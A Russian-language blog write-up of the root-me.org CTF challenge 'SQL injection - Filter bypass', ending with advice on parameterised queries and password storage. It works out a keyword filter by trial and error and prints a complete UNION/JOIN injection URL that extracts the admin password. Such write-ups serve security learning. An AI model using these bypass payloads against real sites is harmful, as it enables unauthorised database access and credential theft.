Перейти к основному содержанию

CTF — SQL injection - Filter bypass

CTF

Всем привет, сегодня захотелось решить задачку на информационную безопасность web-серверов. Обычно я по порядку решаю задачки с портала root-me.org, но сегодня вдруг заметил, что к сложным задачам я никак не приближаюсь. Пока я решаю одну задачу, добавляется парочка новых... Так не пойдёт, повышаем уровень сложности до максимума и берём самую сложную задачу, называется "SQL injection - Filter bypass". За решение задачки дают 80 баллов, уровень HARD.

sql

По названию становится понятно, что иметь дело придётся с SQL инъекцией. В описании просят вытащить пароль администратора.

SQL injection — это атака на базу данных, которая позволит выполнить некоторое действие, которое не планировалось создателем скрипта. Атака осуществляется путём внедрения (инъекции) стороннего кода в SQL запрос.

В подсказках много ссылок на статьи по SQL инъекциям.

Ссылки

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch30/

sql

Здесь у нас форма логина, попробовал залогиниться просто так, не вышло.

Сверху ссылка "Membres", посмотрим.

sql

А вот и список пользователей:

  • admin
  • john
  • teddy

Посмотрим исходный код страницы.

sql

И находим подсказку.

<!--
// CREATE TABLE IF NOT EXISTS `membres` (
//   `id` int(1) NOT NULL AUTO_INCREMENT,
//   `username` VARCHAR(5) NOT NULL,
//   `pass` VARCHAR(20) NOT NULL,
//   `email` VARCHAR( 50 ) NOT NULL,
//   PRIMARY KEY (`id`)
// ) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
-->

Нам в комментарии показывают структуру таблицы membres:

  • id (int(1)
  • username VARCHAR(5)
  • pass VARCHAR(20)
  • email VARCHAR(50)

Видимо, нам у админа нужно вытащить значение столбца pass.

Нажмём на админа.

sql

Нам показывают все поля пользователя, кроме пароля. ID админа равно 1, имя пользователя admin. Проверил остальных пользователей, у них идентификаторы 2 и 3 соответственно, ничего интересного.

Обращаем внимание на URL, там идентификатор передаётся в качестве параметра. Это хорошее место для проведения инъекции. Вероятно, в итоге запрос примерно такой:

SELECT *
FROM membres
WHERE ID = 1

Или

SELECT id, username, email
FROM membres
WHERE ID = 1

Попробуем заменить 1 на NULL.

id=NULL

ctf

attack detected

Обнаружена атака, значит, именно эту защиту требуется обойти. "NULL" нельзя использовать. Пробуем установить несуществующее значение id=4.

id=4

ctf

no result found

Строк в таблице не найдено с таким идентификатором. Дальше пробуем.

id=4/2 — attack detected

Нельзя использовать деление или слеш.

id=2*1

ctf

Можно использовать звёздочку.

id=2%20*%201 — attack detected

Нельзя использовать пробел (%20).

id=2%09*%091

sql

Зато вместо пробела можно использовать табуляцию (%09).

Попробуем выбрать несуществующий ID=4 и с помощью UNION добавить ту же таблицу. У нас должна получиться конструкция:

​SELECT * FROM membres
WHERE ID = 4
UNION
​SELECT * FROM membres
id=4%09UNION%09SELECT%09*%09FROM%09membres

sql

Прекрасно, мы ничего не выбрали, но атака не обнаружена. Значит, мы можем использовать UNION, SELECT, FROM. Дополнительно мы понимаем что в первоначальном запросе в SELECT запрашиваются все четыре поля таблицы.

Примечание, при использовании нижнего регистра тоже срабатывала защита. 

Проверим работу WHERE.

​SELECT * FROM membres
WHERE ID = 4
UNION
​SELECT * FROM membres
WHERE 1
id=4%09UNION%09SELECT%09*%09FROM%09membres%09WHERE%091 — attack detected

Большое затруднение, мы не можем использовать WHERE. Но это не единственный способ ограничить результат выборки, проверим LIMIT.

​SELECT * FROM membres
WHERE ID = 4
UNION
​SELECT * FROM membres
LIMIT 1

id=4%09UNION%09SELECT%09*%09FROM%09membres%09LIMIT%091

ctf

Успех, мало того что мы можем использовать LIMIT, так нам не понадобится OFFEST, потому как нужная нам строка первая, у нас отобразились данные пользователя ADMIN.

Пробуем вместо * явно указать какие-нибудь параметры.

​SELECT * FROM membres
WHERE ID = 4
UNION
​SELECT 1,2,3,4 FROM membres
id=4%09UNION%09SELECT%091,2,3,4%09FROM%09membres — attack detected

Печально, запятая нам недоступна. Проверим JOIN и скобки.

id=4%09UNION%09SELECT%09*%09FROM%09membres%09JOIN%09SELECT%09(*)%09FROM%09membres — no result found

Отлично, можно использовать JOIN и скобки. Нам нужно составить такой запрос, который нам позволить выдернуть отдельный столбец, а не все сразу. Как раз JOIN нам поможет. Сделаем следующее:

​SELECT * FROM membres
WHERE ID = 4
UNION
​SELECT * FROM
  (SELECT 1)t1 JOIN
  (SELECT 2)t2 JOIN
  (SELECT 3)t3 JOIN
  (SELECT 4)t4
id=4%09UNION%09SELECT%09*%09FROM%09(SELECT%091)t1%09JOIN%09(SELECT%092)xt2%09JOIN%09(SELECT%093)t3%09JOIN%09(SELECT%094)t4

sql

Прекрасно, мы смогли выполнить точечную выборку и вывести её на экран. Теперь попробуем вместо email отобразить пароль первого пользователя таблицы, как мы знаем, это admin с ID=1. А в email у нас выводится четвертый столбец.

​SELECT * FROM membres
WHERE ID = 4
UNION
​SELECT * FROM
  (SELECT 1)t1 JOIN
  (SELECT 2)t2 JOIN
  (SELECT 3)t3 JOIN
  (SELECT pass FROM membres LIMIT 1)t4
id=4%09UNION%09SELECT%09*%09FROM%09(SELECT%091)t1%09JOIN%09(SELECT%092)xt2%09JOIN%09(SELECT%093)t3%09JOIN%09(SELECT%09pass%09FROM%09membres%09LIMIT%091)t4

sql

И мы получаем пароль админа, логинимся.

ctf

Он и есть наш флаг. Валидируем.

ctf

Флаг подходит, зарабатываем 80 очков.

Безопасность

  • Защищайтесь от SQL инъекций. Одним из хороших способов является использование "параметризированных запросов".
  • Не вся защита абсолютна, некоторые фильтры можно обойти. Я вообще не понимаю все эти механизмы защиты на основе фильтрации. Лучше писать код так, чтобы его нельзя было взломать инъекцией.
  • Не храните пароль в БД в открытом виде.
  • Не забывайте комментарии в коде.

Теги

 

Похожие материалы

CTF — SQL injection - Authentication - GBK

Всем привет, сегодня был напряжённый день, так что самое время решить задачку на информационную безопасность web-серверов. Сегодня задачка с портала root-me.org, называется "SQL injection - Authentication - GBK". За решение задачки дают 30 баллов, ближе к среднему уровню.

Теги